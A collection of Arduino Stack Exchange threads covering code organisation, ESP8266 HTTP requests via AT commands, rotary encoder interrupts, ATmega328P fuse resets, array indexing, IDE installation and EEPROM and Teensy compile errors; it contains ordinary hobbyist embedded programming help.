.cpp and .h is not OOP. That is just splitting things into files. OOP is the use of classes and namespaces, etc. Those can be used just in one file alone.
What you are asking is actually is it better to make a Library or to have multiple files in your sketch. This has absolutely nothing to do with OOP.
In general:

If you think you may need the code in other sketches then making it a library can be good.
If it is distinct code that will only ever be used in the one sketch there is no point in going to the effort of making a library.

Once the code is compiled it makes little or no difference if it's in a "tab" or if it's in a "library".

Let's say for a competition robot, with multiple programmers, what would you suggest?

@DatHa That question is meaningless. Libraries can make managing complex code easier since you have distinct modules. But editing libraries means working outside the IDE, which generally makes life harder. If there is no specific reason to make a library then the question "should you make a library" is entirely your own subjective personal choice.

@DatHa If you are working collaboratively then possibly using libraries may make the sharing of code easier, since each library could be unit tested individually and delegation of work to other people can be done on a per-library basis if you like. However much the same can be said of spitting into other files anyway.

These are two different techniques; one of programming, the other of managing files. They are independent of one another; you an apply either, both, or neither, as fits the situation.
A true OO design starts from the beginning of the project, finds the commonalities among the kinds of data that will be managed by the finished product, and abstracts away the most common of those into one or more base classes, from which the more specific classes will be derived. OOP is a whole course of study.
An OK first approximation is simply to create data objects as you go. This lets you hide private information - those details of the object that depend on how you implement that object, but aren't real attributes of the real-world object the data-object represents. This is sometimes called "C with classes".
Based on your statement that you are "new to the world of OOP", I expect this will be your most effective strategy.
Dividing your code into files or modules by grouping those functions dealing with, say, stepper motors into one pair of files (stepper.c++, stepper.h), and those dealing with ultrasonic sensors into another pair (usound.c++/.h), etc. is a perfectly good way to organize your code into files, once your body of code gets too big to keep it one file effectively. This doesn't necessarily hide the private, implementation information although you can do that, too, very effectively with file-level static variables and static functions.
C++ was originally implemented as a pre-processor that emitted pure C constructs from C++ syntax. Which means: Whatever you can do in C++, you could also do in C. The only difference is the details are all right there in the open for anyone to see. C++ puts more of them "behind the curtain".
If you have a good handle on writing C- or C++-with-classes, make good use of static variables and functions, and good choices about what might best be grouped with what into your separate files, you'll be pretty well prepared to take on the additional concepts of OOP.


text:
Get data from website with ESP8266 using AT commands
I'm trying to get data from a website by sending a HTTP GET request via AT commands for the ESP8266. Here is my current code:
#include <SoftwareSerial.h>

const byte rxPin = 2;
const byte txPin = 3;

SoftwareSerial ESP8266 (rxPin, txPin);

void setup() {
  Serial.begin(9600);
  ESP8266.begin(9600);
  delay(2000);
}

void printResponse() {
  while (ESP8266.available()) {
    Serial.println(ESP8266.readStringUntil('\n'));
  }
}

void loop() {

  ESP8266.println("AT+CIPMUX=1");
  delay(1000);
  printResponse();

  ESP8266.println("AT+CIPSTART=4,\"TCP\",\"192.168.1.19\",80");
  delay(1000);
  printResponse();

  String cmd = "GET /test.html HTTP/1.1";
  ESP8266.println("AT+CIPSEND=4," + String(cmd.length() + 4));
  delay(1000);

  ESP8266.println(cmd);
  delay(1000);
  ESP8266.println();
  delay(1000);
  printResponse();

  delay(5000);
}

Running this code I get the following response:
AT+CIPMUX=1

OK
AT+CIPSTART=4,"TCP","192.168.1.19",80
4,CONNECT

OK
AT+CIPSEND=4,27

OK
>
Recv 27 bytes

SEND OK

+IPD,4,

It looks like it gets a response, but nothing is printed.
I tried doing the same thing by sending the AT commands manually using this code:
#include <SoftwareSerial.h>

const byte rxPin = 2;
const byte txPin = 3;
SoftwareSerial ESP8266 (rxPin, txPin);

void setup() {
  Serial.begin(9600);
  ESP8266.begin(9600);
}

void loop() {
  if (ESP8266.available()) {
    Serial.write(ESP8266.read());
  }
  if (Serial.available()) {
    ESP8266.write(Serial.read());
  }
}

With this approach I actually get a response:
AT+CIPMUX=1

OK
AT+CIPSTART=4,"TCP","192.168.1.19",80
4,CONNECT

OK
AT+CIPSEND=4,27

OK
>
Recv 27 bytes

SEND OK

+IPD,4,275:HTTP/1.1 200 OK
Date: Thu, 22 Dec 2016 20:20:47 GMT
Server: Apache/2.4.23 (Win64) PHP/5.6.25
Last-Modified: Thu, 22 Dec 2016 19:37:22 GMT
ETag: "13-5444465f69339"
Accept-Ranges: bytes
Content-Length: 19
Connection: close
Content-Type: text/html

THIS IS MY WEBSITE!4,CLOSED

Does anyone know what is happening and how I can get this to work with my Arduino code?
Other ways to get data from a website are also welcome.

This has been bugging me for days - it seems to simple!  Since you don't have any replies that, here's my suggestion: is your printResponse() function working as expected?  It relies on all the data being available at the time time (more or less) and on it ending with a \n.  If it comes a bit at a time, it'll terminate early.  If the data doesn't end with a \n it will never end.

I'm studying the esp and the at commands and I can't seem to figure out the cipsend get request, I wonder if its because of the data length, I saw u summd 4 in the end of the length, is it because of the \r\n, or why is it? thanks

@RodolfoAlbuquerque Yes, as far as i can remember, the extra 4 bytes are for the "\r\n".

hey I am trying your code but i am getting the whole css html file not the main contain.

As pointed out in the first comment, my printResponse() function was not working correctly when waiting for a response from a website. I changed my code to the following, and now it seems to work every time.
#include <SoftwareSerial.h>

const byte rxPin = 2;
const byte txPin = 3;

SoftwareSerial ESP8266 (rxPin, txPin);

unsigned long lastTimeMillis = 0;

void setup() {
  Serial.begin(9600);
  ESP8266.begin(9600);
  delay(2000);
}

void printResponse() {
  while (ESP8266.available()) {
    Serial.println(ESP8266.readStringUntil('\n'));
  }
}

void loop() {

  if (millis() - lastTimeMillis > 30000) {
    lastTimeMillis = millis();

    ESP8266.println("AT+CIPMUX=1");
    delay(1000);
    printResponse();

    ESP8266.println("AT+CIPSTART=4,\"TCP\",\"192.168.1.19\",80");
    delay(1000);
    printResponse();

    String cmd = "GET /test.html HTTP/1.1";
    ESP8266.println("AT+CIPSEND=4," + String(cmd.length() + 4));
    delay(1000);

    ESP8266.println(cmd);
    delay(1000);
    ESP8266.println("");
  }

  if (ESP8266.available()) {
    Serial.write(ESP8266.read());
  }

}

Slightly modified code. With the addition of a more correct query
#include <SoftwareSerial.h>

const byte rxPin = 2;
const byte txPin = 3;

SoftwareSerial ESP8266 (rxPin, txPin);

unsigned long lastTimeMillis = 0;

void setup() {
  Serial.begin(9600);
  ESP8266.begin(9600);
  delay(2000);
}

void printResponse() {
  while (ESP8266.available()) {
    Serial.println(ESP8266.readStringUntil('\n'));
  }
}

void loop() {

  if (millis() - lastTimeMillis < 3000) {
    lastTimeMillis = millis();

    ESP8266.println("AT+CIPMUX=1");
    delay(1000);
    printResponse();

    ESP8266.println("AT+CIPSTART=4,\"TCP\",\"192.168.0.79\",80");
    delay(1000);
    printResponse();

    String cmd = "GET / HTTP/1.1\r\nHost: 192.168.0.79\r\nConnection: close\r\n\r\n";
    ESP8266.println("AT+CIPSEND=4," + String(cmd.length() + 4));
    delay(1000);

    ESP8266.println(cmd);
    delay(1000);
    ESP8266.println("");
  }

  if (ESP8266.available()) {
    Serial.write(ESP8266.read());
  }

}

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/


text:
How to detect the direction of a rotary encoder?
I'm trying to detect the direction of rotation for an incremental rotary encoder. I'm supposed to get +1 for clockwise and  -1  for counter-clockwise. However, I receive random values. Any help appreciated.
Following is the code.
const int encoderPinA = 7;
const int encoderPinB = 12;
int val;
int encoderPos = 0;
boolean encoderALast = LOW; // remember the previous pin state

void setup() {
  pinMode(encoderPinA,INPUT);
  pinMode(encoderPinB,INPUT);
  Serial.begin(9600);
}

void loop() {
  analogWrite(3,250); //powering motor
  val = encoder_direction();
  // receive the direction for clockwise 1 and for counter clock wise  -1
  Serial.println(val); // print it in serial monitor
}

int encoder_direction() {
  boolean encoderA = digitalRead(encoderPinA);
  if ((encoderALast == HIGH) && (encoderA == LOW)) {
    if (digitalRead(encoderPinB)) {
      //encoderPos --;
      encoderPos = -1;
    } else {
      //encoderPos ++;
      encoderPos = 1;
    }
    return  encoderPos;
    // return the value either 1 or -1
  }
  encoderALast = encoderA;
}

// using digitalread() code  for four encoders
const int ENCODERS = 4; // the number of encoders
const int encoderPinA[ENCODERS] = { 7, 8, A1 , 2 };
// encoderA pins on 2 and 4
const int encoderPinB[ENCODERS] = { 12, 5, 4 , A2 };
// encoderB pins on 3 and 5
int encoderPos[ ENCODERS] = { 0, 0, 0, 0 };
// initialize the positions to 0
boolean encoderALast[ENCODERS] = { LOW, LOW, LOW, LOW };
// holds last state of encoderA pin

void setup() {
  Serial.begin (9600);
}

int updatePosition(int encoderIndex) {
  boolean encoderA = digitalRead(encoderPinA[encoderIndex]);
  if ((encoderALast[encoderIndex] == HIGH) && (encoderA == LOW)) {
    if (digitalRead(encoderPinB[encoderIndex]) == LOW) {
      //encoderPos[encoderIndex]--;
      encoderPos[encoderIndex] = -1;
    } else {
      //encoderPos[encoderIndex]++;
      encoderPos[encoderIndex] = 1;
    }
    Serial.print("Encoder ");
    Serial.print(encoderIndex+1,DEC);
    Serial.print("=");
    Serial.println (encoderPos[encoderIndex]);
  }
  encoderALast[encoderIndex] = encoderA;
}

void loop() {
  updatePosition(0);
  updatePosition(1);
  updatePosition(2);
  updatePosition(3);
}

// using direct access to digitalread code in order to process faster
int val[4];
int encoderPos = 0;
boolean encoderALast[4] ={LOW, LOW, LOW, LOW};
// remember the previous pin state

void setup() {
  Serial.begin(9600);
}

void loop() {
  for (int ii=0; ii<4;ii++) {
    encoder_direction(ii);
  }
}
int encoder_direction(int m) {
  boolean encoderA;
  boolean encoderB;
  if(m == 0) {
    encoderA = (PIND & _BV (7)) == 0;
    //   digitalRead(7) encoderPinA
    encoderB = (PINB & _BV (4)) == 0;
    // digitalRead(12) encoderPinB
  }
  if (m == 1) {
    encoderA = (PINB & _BV (0)) == 0;
    // digitalRead(8) encoderPinA
    encoderB = (PIND & _BV (5)) == 0;
    // digitalRead(5) encoderPinB
  }
  if (m == 2) {
    encoderA = (PINC & _BV (1)) == 0;
    // digitalRead(A1) encoderPinA
    encoderB = (PIND & _BV (4)) == 0;
    // digitalRead(4)  encoderPinB
  }
  if (m == 3) {
    encoderA = (PIND & _BV (2)) == 0;
    // digitalRead(2) encoderPinA
    encoderB = (PINC & _BV (2)) == 0;
    // digitalRead(A2)  encoderPinB
  }
  if ((encoderALast[m] == HIGH) && (encoderA == LOW)) {
    if (encoderB == LOW) {
      //encoderPos --;
      encoderPos = -1;
    } else {
      //encoderPos ++;
      encoderPos = 1;
    }
    Serial.print(" Encoder ");
    Serial.print(m+1);
    Serial.print(" = ");
    Serial.println(encoderPos);
  }
  encoderALast[m] = encoderA;
}

I don't think its possible using only 2 detector and detect only based on the order of activation.

when this is in the loop works fine. But, now I  want to use function. The problem is I can not retrieve correct value from function's output.

I have a page about rotary encoders - in that I show how you can detect encoder changes (and direction) using one interrupt pin and another pin, like this:
// Wiring: Connect common pin of encoder to ground.
// Connect pin A (one of the outer ones) to a pin that can generate interrupts (eg. D2)
// Connect pin B (the other outer one) to another free pin (eg. D5)

volatile bool fired;
volatile bool up;

const byte encoderPinA = 2;
const byte encoderPinB = 5;

// Interrupt Service Routine for a change to encoder pin A
void isr ()
{
  if (digitalRead (encoderPinA))
    up = digitalRead (encoderPinB);
  else
    up = !digitalRead (encoderPinB);
  fired = true;
}  // end of isr

void setup ()
{
  pinMode (encoderPinA, INPUT_PULLUP);     // enable pull-ups
  pinMode (encoderPinB, INPUT_PULLUP);
  attachInterrupt (digitalPinToInterrupt (encoderPinA), isr, CHANGE);   // interrupt 0 is pin 2

  Serial.begin (115200);
}  // end of setup

void loop ()
{
static long rotaryCount = 0;

  if (fired)
    {
    if (up)
      rotaryCount++;
    else
      rotaryCount--;
    fired = false;

    Serial.print ("Count = ");
    Serial.println (rotaryCount);
    }  // end if fired

}  // end of loop

In the main loop you just need to test the boolean fired to see if the encoder changed, and up to see if it went up (otherwise it went down).

I receive random of these values ...

I think with your code you need to detect a change - that is, if the encoder pin is now HIGH but was previously LOW.

Solution for 4 encoders

The problem is I am working on four encoders ...

I have reworked my code to use pin-change interrupts instead of external interrupts.
// Wiring: Connect common pin of encoder to ground.

volatile bool fired;

const byte ENCODERS = 4;

typedef struct
  {
  int aPin;     // which Arduino pin for the "A" side
  int bPin;     // which Arduino pin for the "B" side

  // values below are calculated at run-time
  volatile byte * aPort;  // which processor port the A side is plugged into
  volatile byte * bPort;  // which processor port the B side is plugged into
  byte aBitMask;   // which bit in the A port
  byte bBitMask;   // which bit in the B port
  byte whichInterrupt;  // which pin-change interrupt port (0, 1, 2)
  byte oldValue;   // old value of A port (to see if it changed)
  int count;       // current encoder counter
  } encoder;

 volatile encoder encoders [ENCODERS] =
  {

 // A   B  pins  (eg. D4 and D8, D5 and D9 and so on)

  { 4,  8 },
  { 5,  9 },
  { 6, 10 },
  { 7, 11 },

  };  // end of encoders

void checkForPinChange (const byte which)
  {
  for (byte i = 0; i < ENCODERS; i++)
    {
    if (encoders [i].whichInterrupt == which)
      {
      byte newValue = *(encoders [i].aPort) & encoders [i].aBitMask;
      if (newValue != encoders [i].oldValue)
        {
        bool up;
        byte bPort = *(encoders [i].bPort) & encoders [i].bBitMask;
        if (newValue)
          up = bPort;
        else
          up = !bPort;
        fired = true;
        if (up)
          encoders [i].count++;
        else
          encoders [i].count--;
        encoders [i].oldValue = newValue;
        }  // end of if value has changed
      }   // end of if this is the right interrupt number
    }     // end of for each encoder
  } // end of checkForPinChange

// handle pin change interrupt for D8 to D13 here
ISR (PCINT0_vect)
 {
 checkForPinChange (PCIE0);
 }  // end of PCINT0_vect

// handle pin change interrupt for A0 to A5 here
ISR (PCINT1_vect)
 {
 checkForPinChange (PCIE1);
 }  // end of PCINT1_vect

// handle pin change interrupt for D0 to D7 here
ISR (PCINT2_vect)
 {
 checkForPinChange (PCIE2);
 }  // end of PCINT2_vect

void setup ()
{
 Serial.begin (115200);
 Serial.println ("Starting ...");

 PCIFR  |= bit (PCIF0) | bit (PCIF1) | bit (PCIF2);   // clear any outstanding interrupts

 for (byte i = 0; i < ENCODERS; i++)
    {
    pinMode (encoders [i].aPin, INPUT_PULLUP);
    pinMode (encoders [i].bPin, INPUT_PULLUP);
    // convert pin number to port, mask, etc. for efficiency

    // Input port
    encoders [i].aPort = portInputRegister (digitalPinToPort (encoders [i].aPin));
    encoders [i].bPort = portInputRegister (digitalPinToPort (encoders [i].bPin));

    // Which bit in the port to test
    encoders [i].aBitMask = digitalPinToBitMask (encoders [i].aPin);
    encoders [i].bBitMask = digitalPinToBitMask (encoders [i].bPin);

    // Which interrupt number (0, 1, 2)
    encoders [i].whichInterrupt = digitalPinToPCICRbit (encoders [i].aPin);

    // activate this pin-change interrupt bit (eg. PCMSK0, PCMSK1, PCMSK2)
    volatile byte * ICRmaskPort = digitalPinToPCMSK (encoders [i].aPin);
    *ICRmaskPort  |= bit (digitalPinToPCMSKbit (encoders [i].aPin));

    // enable this pin-change interrupt
    PCICR |= bit (digitalPinToPCICRbit (encoders [i].aPin));

    } // end of for each encoder

}  // end of setup

void loop ()
{
  if (fired)
    {
    for (byte i = 0; i < ENCODERS; i++)
      {
      char buf [10];
      sprintf (buf, "%5d", encoders [i].count);
      Serial.print (buf);
      }
    Serial.println ();
    fired = false;
    }  // end if fired

}  // end of loop

The code is general enough to handle 1 to x encoders (eg. 10 encoders) - within reason! You need to have 2 pins spare per encoder (the third pin goes to ground). One of the pins needs to be capable of pin-change interrupts (on the Uno that is all of them).
The code sets up to detect an interrupt on the "A" side of the encoder and tests the value on the "B" side to see if it was turned clockwise or counter-clockwise.
I am getting results like this (with 2 encoders connected):
   16  -19    1    1
   17  -19    1    1
   18  -19    1    1
   19  -19    1    1
   20  -19    1    1
   21  -19    1    1
   22  -19    1    1
   23  -19    1    1
   23  -20    1    1
   23  -21    1    1
   23  -22    1    1
   23  -23    1    1
   23  -24    1    1
   23  -25    1    1

The other two are showing as "1" (that is, not turned yet).

I see. The problem is I am working on four encoders, Therefore, I trying to realize by status change detecting.

It's always helpful to give as much detail as you can in the question. Then we don't have to guess, and we don't give an answer which doesn't suit your situation.

And if I may say, your posted code in the question doesn't have four encoders in it.

Nick, I think it would make sense to update your code to say pinMode(encoderPinA, INPUT_PULLUP); instead of  digitalWrite (encoderPinA, HIGH);     // enable pull-ups

ok, I got to different code for four encoders.

The one is using digitalread() and the other one is using fast access to digitalinread() which was on your post. But none of them work.

I mean they do not work when rotating simultaneously.

If motors rotate separately, then both codes working fine. But the problem is usually motors run at the same time.

it would make sense to update your code - you are right. I have updated the answer. The original code was written quite a while ago.

I got to different code for four encoders - you can probably do it with pin-change interrupts. I'll look at that tomorrow. You may want to see my page about interrupts

See my amended reply which shows how to handle four encoders.

Using polling to read multiple encoders may work if you program quite carefully and if you dedicate the processor just to reading encoders; but generally, interrupt-driven encoder processing has a higher likelihood of working ok.  The example below uses pin-change interrupts to read from three rotary encoders that are attached to PD2...PD7, ie, six consecutive bits of port D.  It can be extended to more encoders by adding another pin-change ISR to handle another interrupt vector, or by using PD0 and PD1 as encoder inputs.  (However, PD0 and PD1 are RX and TX on the Uno I'm testing with, and I'm using Serial for test output.)
Example: rotors3.ino
/*  Rotors3 -- JW, December 2016 -- Uses 4-state state-machine
 *  implementation of rotary encoding for KY-040 rotary knobs.  The
 *  state-machine picture in a Feb 4, 2014 7:40 PM post at
 *  https://e2e.ti.com/support/microcontrollers/hercules/f/312/t/318762
 *  by Anthony Seely shows counts increasing on transitions 10 -> 11
 *  -> 01 -> 00 -> 10 and decreasing on transitions the other way.
 *  The ISR in this program decodes those transitions using logical
 *  operations on variables `changes` and `wayflag`.  Transitions
 *  between 00 and 11 or 10 and 01 are invalid and ignored.
 */

volatile byte abOld;        // Old state
volatile byte changedCount; // Change-indication
volatile int count[3];      // current rotary count

void setupRotors3(byte ioMode, byte enablePCI) {
  pinMode( 2, ioMode); //  2, PD2   PCINT 18
  pinMode( 3, ioMode); //  3, PD3   PCINT 19
  pinMode( 4, ioMode); //  4, PD4   PCINT 20
  pinMode( 5, ioMode); //  5, PD5   PCINT 21
  pinMode( 6, ioMode); //  6, PD6   PCINT 22
  pinMode( 7, ioMode); //  7, PD7   PCINT 23
  if (enablePCI) {
    PCMSK2 |= 0xfc; // Set mask for bits of interest
    PCIFR  |= 0x04; // Clear PC interrupts if any
    PCICR  |= 0x04; // Enable PC interrupts
  }
  abOld = changedCount = count[0] = count[1] = count[2] = 0;
}

void setup() {
  setupRotors3(INPUT_PULLUP, true);
  Serial.begin(115200);
  Serial.println("Starting Rotary Encoder Test");
}

// On interrupt, read input pins, compute new states, and adjust
// counts.  This code depends on encoder data appearing like ddccbbaa,
// ie data is in properly paired consecutive port bits.
ISR(PCINT2_vect) {
  byte abNew = PIND & 0xfc; // Read pins  2, 3, 4, 5, 6, 7,
  byte changes = abNew^abOld;   // Use XOR to flag changed bits
  char wayflag = 2*abNew^abNew; // Use XOR to get state-bits
  byte test2;
  for (byte i=0; i<3; ++i) {
    // For PD2-7, low 2 bits aren't relevant.  Move the shifts to
    // end of for loop if low 2 bits carry encoder info.
    wayflag >>= 2;      // Discard low state-bits
    changes >>= 2;      // Discard low change-bits
    test2 = changes & 3;    // Get 2 bits of interest
    if (test2==1) {
      count[i] += 1-(wayflag&2);
      changedCount = true;
    } else
      if (test2==2) {
        count[i] -= 1-(wayflag&2);
        changedCount = true;
      }
  }
  abOld = abNew;        // Save new state
}

void loop() {
  if (changedCount) {
    changedCount = false;   // Race condition can be ignored
    for (byte i=0; i<3; ++i) {
      Serial.print(count[i]);   // Announce counts
      Serial.print("  ");
    }
    Serial.println(millis());   // Announce change-time
  }
}

Note, setupRotors3() and a few other statements in the program were generated using the ISR-framework-generating Sketch from an answer to an earlier question.  If you need to use other input pins than those shown in the program above, you can use the framework generator to produce a setup routine and port-I/O statements for them.
Following is some output from the program as above, from when I turn two of the three 60-counts-per-turn encoders as fast as I can by hand, for half a turn each at the same time (about 4 RPS, or 240 RPM).
-2  1  0  1127
-2  2  0  1133
-2  3  0  1148
-2  4  0  1155
-3  4  0  1165
-3  5  0  1166
-4  5  0  1169
-4  6  0  1170
-5  6  0  1174
-5  7  0  1177
-6  7  0  1178
-6  8  0  1181
-7  8  0  1184
-7  9  0  1187
-8  9  0  1189
-8  10  0  1190
-9  10  0  1196
-9  11  0  1197
-10  12  0  1200
-10  12  0  1201
-11  12  0  1205
-11  13  0  1207
-12  13  0  1210
-12  14  0  1211
-12  15  0  1215
-13  15  0  1216
-13  16  0  1220
-14  16  0  1221
-15  16  0  1224
-15  17  0  1226
-16  17  0  1229
-16  18  0  1230
-17  18  0  1234
-17  19  0  1235
-18  19  0  1239
-18  20  0  1241
-19  20  0  1243
-19  21  0  1247
-20  21  0  1248
-21  21  0  1251
-21  22  0  1252
-22  22  0  1255
-22  23  0  1258
-23  23  0  1259
-24  23  0  1263
-24  24  0  1264
-25  24  0  1266
-25  25  0  1269
-26  25  0  1271
-27  25  0  1275
-27  26  0  1275
-28  26  0  1280
-28  27  0  1281
-29  27  0  1284
-29  28  0  1288
-30  28  0  1291
-31  28  0  1301
-31  29  0  1341
-32  29  0  1346
-32  30  0  1385
-33  30  0  1389

Looks like we had similar ideas. I didn't spot your answer until I had rewritten my code. :) We even have similar debugging output.


text:
Reset and Remove Arduino ATmega328P?
So I have 2 Arduinos, and im wanting to remove the chip from one and reset it to like it came from the factory and then breadboard it and attempt to program it using an AVR programmer (Or maybe an Arduino AS a programmer).
Why? Mainly because I want to make sure I can and understand how to program the chips when I order them standalone and on a breadboard.
Is this possible? I imagine the Arduino bootloader will be on the chip and the fuses will be different, but can I over-write them if I decide to just program it as a standalone AVR chip?
Thanks!

You don't have to do anything. The first time you try to upload a program with an external programmer you will overwrite what was on the atmega

Im just trying to learn AVR programming without the I guess "handholding" of arduino functions/etc.

You don't actually need to do anything. You don't need any breadboard, any programmer, nothing.
You can use the Arduino environment, upload facility, and board to learn low-level AVR programming.
Just because the Arduino helper functions exist it doesn't mean you actually have to use them.
The first step on your progression to professional embedded developer is to get to grips with low-level registers. You can do all that from within the Arduino environment. You have access to everything in the Arduino IDE that you have in any other IDE in the way of low-level chip functions. They are functions of the chip, not the IDE.
If you want to progress to a professional IDE and use hardware debugging you can still use an Arduino board. After all, it's just an MCU on a PCB. Just plug your hardware programmer into the hardware programming connector on the board. Why mess around with breadboards and all the trouble that they give with dodgy connections? Just because an Arduino has an Arduino logo on it you aren't forced to use it with the Arduino IDE.

Cool! So.... I just upload to the Arduino like it was a breadboard, and the arduino bootloader will be overwritten like normal?

The ICSP port is no different to using ICSP on the breaboard. You do exactly the same things. You can (with care) tweak your fuses to suit how you want to work, and flash whatever you want to flash.

+1 This is a great way to get into embedded for anyone coming from a software background.

I have a sketch that uploads data to various Atmega chips (including the 328P).
Even without an SD card attached you can do things like erase the chip and set fuses. So what I would do is erase the chip (thus the bootloader and any other code are gone), and then set the fuses to the factory defaults.
For the Atmega328P I believe these are:

Low: 0x62
High: 0xD9
Extended: 0xFF
Lock: 0xFF

Source: http://www.engbedded.com/fusecalc

"and im wanting to remove the chip
from one and reset it to like it came from the factory "
"Is this possible? "
Yes you can rewrite the atmega328 (used or blank) to reset arduino  to factory condition.
Yes you can use arduino as a programmer as other answer before implies.
If you are using blank new atmega328 you burn new bootloader from arduino IDE to make
factory reset arduino uno.
"I imagine the Arduino bootloader will be on the
 chip and the fuses will be different, but can I over-write them if
I decide to just program it as a standalone AVR chip? Is this possible?"
The arduino is a microcontroller development board which of course means
you can make the arduinos atmega 328 as standalone on breadboard; in addition to
that you can change the fuses to work with different speed crystals-which is what
 you seem to be asking.

The thing is im wanting to get away from the arduino environment completely, and run it as an AVR chip on it's own (and only using AVR commands with the AVR IDE)

What you trying to do  on AVR that cant be done with an Arduino?

Im just trying to learn AVR programming without the I guess "handholding" of arduino functions/etc..

If your just using it to learn AVR  then you can use a cheap attiny 13 for one ore two dollars you can get 2 or 5 attiny 13a chips-that maybe a good idea for you. But if you have something more specific in mind-which you dont state in the question- then maybe you need a different atmel chip

You can initialize any Arduino compatible MCU easily, the procedures are well documented on the Arduino website.
There is even documentation to allow you to build based on the ATMega8L for a minimal system with no external crystal oscillator. This is a little harder to do, but not much.

I guess the thing is, im not going to be using the arduino system to program it AT ALL, im going straight AVR.

@msmith1114. If you remove the Arduino bootloader you will need either an ICSP or HV programmer.Just go to Atmel and download their tools, their development environment will default all the fuses.


text:
About Arrays in Arduino
I have a question about arrays in Arduino. Sorry for my bad English.
I want to put numbers in an array, and I think the code below works properly.
However, it doesn't work and corrupted numbers show up in the Serial monitor. Even delay(1000) doesn't work.
If I change ND_MAC[i]=128; to "ND_MAC[i]=126;", it works properly. So I'm wondering if this array is char type, but I designate int to array.
How to solve it?
int ND_MAC[7];
char i=0;
void setup() {
  Serial.begin(9600);
}
void loop() {
  for(i=0;i<8;i++){
    ND_MAC[i]=128;
    Serial.print(ND_MAC[i],HEX);
  }
  Serial.println();
  delay(1000);
}

First error is iterating outside the array. ND_MAC has 7 elements (0..6).

For an array of size 7, the indexes start from 0 (ND_MAC[0]) and end at 6 (ND_MAC[6]) as @MikaelPatel commented.
So the solution to your issue would be changing the condition in for loop to
for(i=0;i<7;i++) //Changed 8 in your code to 7

Here, the loop iterates from i = 0 to 1 < 7 (i.e., till 6)
and it should work. :)

Oh,I had a terrible mistake...

Oh,I had a terrible mistake... I followed your help, and then it worked properly. thank you very much!

@kishida you're welcome....


text:
How do I deal with this Arduino IDE installation error?
I am using Linux Fedora 20 (yes I am going to upgrade it, definitely, soon) and I have installed arduino-1.8.0, but I get this message ...

Your copy of the IDE is installed in a subfolder of your sketchbook.
  Please move the IDE to another folder

... when I click on the desktop icon, or run ./arduino. I have tried moving the tar.xz file to its own folder ArduinIDE again installed it but get the same message. Please,what should I do to get out of this? Please no answers like "just do what it says":in that case what do I move, and what criteria does the destination need to have?

Delete (or edit) your preferences.txt file - it most likely has your sketchbook folder set to your home directory.
You may find it in ~/.arduino15 for the "real" Arduino IDE, or in (I think) ~/.arduino for the arduino.org one.
Unless you have a specific reason for wanting to run 1.8.0, which is actually 1.0.6 re-numbered, you should be using the version from arduino.cc which is currently 1.6.13.

Thank you Majenko. I uninstalled 1.8.0 and installed 1.6.13 instead, then the problem was cured when I altered the line in my home directory /home/Harry/arduino15 from sketchbook.path=/home/Harry/ to sketchbook.path=/home/Harry/Sketchbook

"1.8.0, which is actually 1.0.6 re-numbered" This is incorrect. You're thinking of the arduino.org 1.7.x releases. The 1.8.x releases started after the legal dispute was resolved and .org started using the .cc IDE again. They jumped straight from 1..6.13 to 1.8.0 to avoid any confusion with those 1.7.x releases. 1.8.0 was released Dec. 20 '16.

This fixed it for me. Funny thing is that in my case I have Arduino IDE run inside a VM (VirtualBox), which crashed (I had to restart the host due to some reason). Before the crash I didn't have a problem but after that I did. Note that in my case the sketches were in a completely different folder: /home/user/ArduinoProjects, while the IDE was in /home/user/Arduino.

This is still happening. The exception message is not clear. It is objecting to being installed in "the same folder as your sketchbook", not in a "subfolder of the sketchbook".  It should ideally read...

Your copy of the IDE is installed in the parent folder of your sketchbook.
  Please move the IDE to another folder.

You should be able to put side by side versions in /opt or create another branch in your home folder.


text:
EEPROM library throwing errors
I've included  in my sketch and am trying to run a simple sketch that just does EEPROM.write(0,4); followed by a println of EEPROM.read(0);  However, it won't compile.  It keeps telling me there is an error, and that I'm making a "request for member 'write' in something that is not a structure or a union".  I'm using the Mega ADK.  What am I doing wrong?  I've also tried to go to sketch->include libraries and include the EEPROM library directly, still no joy.  This is Arduino 1.6.13 on Windows 8, if it matters.

You need to list your program ("sketch") for us to help.  Guessing, (this is actually C++ so it's going to sound more complex than it really is, but) did you instantiate an instance of the EEPROM class?  Did you include the header file for this class in your program?

Actually I figured it out.  I was using the wrong data types (my sketch wasn't quite what I had shown).  I was sending in an unsigned int to the read/write as the address, but it requires an int and the data type is important.

This will sound odd, but in C++ passing the wrong data type is just like calling a totally different method.  The up side, you can, for example, write a number of identically named methods that can handle different data types in unique ways.  Obviously, the library authors could have done this, but did not.  Maybe that is an improvement you can implement.

I suggest you create an answer to your question. It can then (in a couple of days IIRC) be accepted as the right answer and other people can be helped by it.

The problem had to do with data types.  I was using an unsigned int as follows:
unsigned int addr = 0;
EEPROM.write(addr,5);

However, EEPROM.write requires an int, not an unsigned int, and this caused a compiler error.

Also same error if you try to compile eeprom.h (C++) into a C program


text:
teensyduino with teensy LC: cannot include multiple files in sketch
I'm trying to get a rather large sketch working with a teensy LC.  I'd like to break it into headers and C files, but the multi-file sketch fails to compile.  When I put everything into a single, monolithic sketch, it runs fine.  I've #included the h files where they are needed, using single quotes, and have confirmed that my h files are in the same folder as my sketch.  Is there an additional step to go through specific to teensy?  I've managed to do this tons of times using a standard arduino.
Here is a basic sketch:
This is the main sketch file:
   #include "tst.h"
void setup() {
  // put your setup code here, to run once:

}

void loop() {
  // put your main code here, to run repeatedly:
  doNothing();
}

This is tst.h
void doNothing();

This is tst.c
#include "tst.h"
void doNothing()
{
  int i = 0;
}

I get the  error "undefined reference to doNothing() in function loop"

Could you provide source code and compilation errors ? I have created a small test with Arduino 1.6.13 + Teensyduino 1.33 with a mylib.cpp/mylib.h in the same folder as .INO file and after selecting "Teensy LC" device no problem detected to compile and link.

My source code is quite long.  I am using C, not c++.  Would that matter?  If I have time soon I'll make a trial sketch with just a few small functions to test and upload.

No problem, take your time to create a minimal source code. When you say "I am using C, not c++", did you  use a ".c" file instead of ".cpp" ?

Yes, that's right.  I have three files, the main sketch, one *.h file, and one *.c file

I've edited the post to include a minimal sketch. I wonder, is the a build order setting I'm missing?

So, the first and easiest solution is to rename your "test.c" file to "test.cpp". This is the default extension expected by the C++ compiler used by Arduino IDE.

Are all the *.c files opened (show up in the tabs near the top of the window) in the Arduino SDK when you compile?

Even if the "test.c" and the "test.h" appear on the top, the "test.c" seems to be compiled "mylib.c.o" and the doNothing is present inside. But the  error is always UsingCpp.ino:14: undefined reference to 'doNothing()'.

Yes, they are all part of the sketch and are tabs at the top. @J.Piquard: do you see the same errors?

